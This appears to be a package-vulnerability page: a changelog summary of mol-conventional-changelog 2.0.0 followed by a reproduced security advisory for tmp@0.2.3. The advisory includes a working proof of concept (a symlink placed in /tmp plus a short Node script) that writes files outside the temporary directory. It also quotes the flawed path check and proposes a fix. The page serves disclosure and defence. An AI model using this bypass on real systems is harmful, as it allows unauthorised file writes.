Mol-conventional-changelog version 2.0.0 represents a significant update to the commitizen adapter designed for enforcing conventional changelog formats within MailOnline's JavaScript projects. Transitioning from version 1.4.3 includes notable shifts in dependencies and development tooling, impacting both integration and development workflows. The newer version removes peer dependencies on lerna and @lerna/project, suggesting a move away from strict lerna-based monorepo setups or an internal restructuring of how the package is used. A key difference is the introduction of glob as a dependency which enables file pattern matching that most likely extends the adapter’s capabilities, possibly by allowing it to scan project directories.
From a developer's perspective, version 2.0.0 upgrades development dependencies. Notably, eslint has been bumped significantly from version 7 to version 8.57.0 and eslint-config-mailonline from v9 to v13.0.2, indicating adherence to more modern linting standards. Husky, a tool for Git hooks, moves from older 0.x to v9 which will enhance the code quality assurance and automated checks. Semantic-release also has been upgraded to v22 which unlocks more options and capabilities in the release pipeline. These updates ultimately result in more modern and automated development workflow.
All the vulnerabilities related to the version 2.0.0 of the package
tmp allows arbitrary temporary file / directory write via symbolic link dir
parameter
tmp@0.2.3
is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir
parameter.
According to the documentation there are some conditions that must be held:
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50
Other breaking changes, i.e.
- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks
are still in place.
In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
absolute paths are fine as long as they point to a location under the system's default temporary directory.
Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access,
as tmp will not check the availability of the path, nor will it establish the requested path for you.
Related issue: https://github.com/raszi/node-tmp/issues/207.
The issue occurs because _resolvePath
does not properly handle symbolic link when resolving paths:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
if (name.startsWith(tmpDir)) {
return path.resolve(name);
} else {
return path.resolve(path.join(tmpDir, name));
}
}
If the dir
parameter points to a symlink that resolves to a folder outside the tmpDir
, it's possible to bypass the _assertIsRelative
check used in _assertAndSanitizeOptions
:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
if (option === 'name') {
// assert that name is not absolute and does not contain a path
if (path.isAbsolute(name))
throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
// must not fail on valid .<name> or ..<name> or similar such constructs
let basename = path.basename(name);
if (basename === '..' || basename === '.' || basename !== name)
throw new Error(`${option} option must not contain a path, found "${name}".`);
}
else { // if (option === 'dir' || option === 'template') {
// assert that dir or template are relative to tmpDir
if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
}
let resolvedPath = _resolvePath(name, tmpDir); //<---
if (!resolvedPath.startsWith(tmpDir))
throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
}
}
The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir
is possible.
Tested on a Linux machine.
tmpDir
that points to a directory outside of itmkdir $HOME/mydir1
ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
ls -lha $HOME/mydir1 | grep "tmp-"
node main.js
File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
$HOME/mydir1
(outside the tmpDir
):ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]
main.js
// npm i tmp@0.2.3
const tmp = require('tmp');
const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);
try {
tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
console.log('test 1:', err.message)
}
try {
tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
console.log('test 2:', err.message)
}
try {
const fs = require('node:fs');
const resolved = fs.realpathSync('/tmp/evil-dir');
tmp.fileSync({ 'dir': resolved});
} catch (err) {
console.log('test 3:', err.message)
}
A Potential fix could be to call fs.realpathSync
(or similar) that resolves also symbolic links.
function _resolvePath(name, tmpDir) {
let resolvedPath;
if (name.startsWith(tmpDir)) {
resolvedPath = path.resolve(name);
} else {
resolvedPath = path.resolve(path.join(tmpDir, name));
}
return fs.realpathSync(resolvedPath);
}
Arbitrary temporary file / directory write via symlink